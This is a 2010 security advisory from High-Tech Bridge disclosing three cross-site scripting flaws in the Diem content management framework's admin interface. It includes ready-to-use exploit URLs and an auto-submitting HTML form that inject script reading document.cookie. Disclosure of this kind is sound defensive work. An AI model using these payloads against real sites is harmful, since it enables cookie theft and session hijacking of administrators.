High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

285 software vendors have fixed 923 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 93%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Cross-site Scripting (XSS) Vulnerabilities in Diem

Advisory ID:HTB22458
Product:Diem
Vendor:Diem team
Vulnerable Versions:5.1.2 and probably prior
Tested Version:5.1.2
Advisory Publication:June 29, 2010 [without technical details]
Vendor Notification:June 29, 2010
Public Disclosure:July 13, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
Risk Level:Low
CVSSv2 Base Score:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered three vulnerabilities in Diem which could be exploited to perform cross-site scripting attacks.


1) Cross-site scripting (XSS) vulnerabilities in Diem

1.1 The vulnerability exists due to input sanitation error in the "value" parameter in page metas managing script. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.

Exploitation example:
http://host/admin.php/seo/pages/manage-pages/editField?dm_cpi=0&dm_xhr=1&value=title"><script>alert( document.cookie)<%2Fscript>&id=&page_id=1&field=title

1.2 The vulnerability exists due to input sanitation error in the "text" parameter in dmCore script. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.

Exploitation example:
http://host/admin.php/+/dmCore/markdown?dm_cpi=0&dm_xhr=1&text=title"><script>alert(document.cookie) <%2Fscript>

1.3 The vulnerability exists due to input sanitation error in the "article_form_filter[name][text]" parameter in the blog items filter module. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website. Successful exploitation requires that victim is logged-in into the application and has access to administrative interface.

Exploitation example:
<form action="http://host/admin.php/content/blog/articles/filter" name="main" >
<input type="hidden" name="article_form_filter[name][text]" value='1"><script>alert(document.cookie)</script>' />
<input type="hidden" name="article_form_filter[is_active]" value="" />
<input type="hidden" name="article_form_filter[text][text]" value="" />
<input type="hidden" name="article_form_filter[created_by]" value="" />
<input type="hidden" name="article_form_filter[created_at]" value="" />
<input type="hidden" name="article_form_filter[updated_at]" value="" />
</form>
<script>
document.main.submit();
</script>


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB22458 - https://www.htbridge.com/advisory/HTB22458 - Cross-site Scripting (XSS) Vulnerabilities in Diem
[2] Diem - diem-project.org – Diem is an open source content management framework designed to build not so simple websites.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.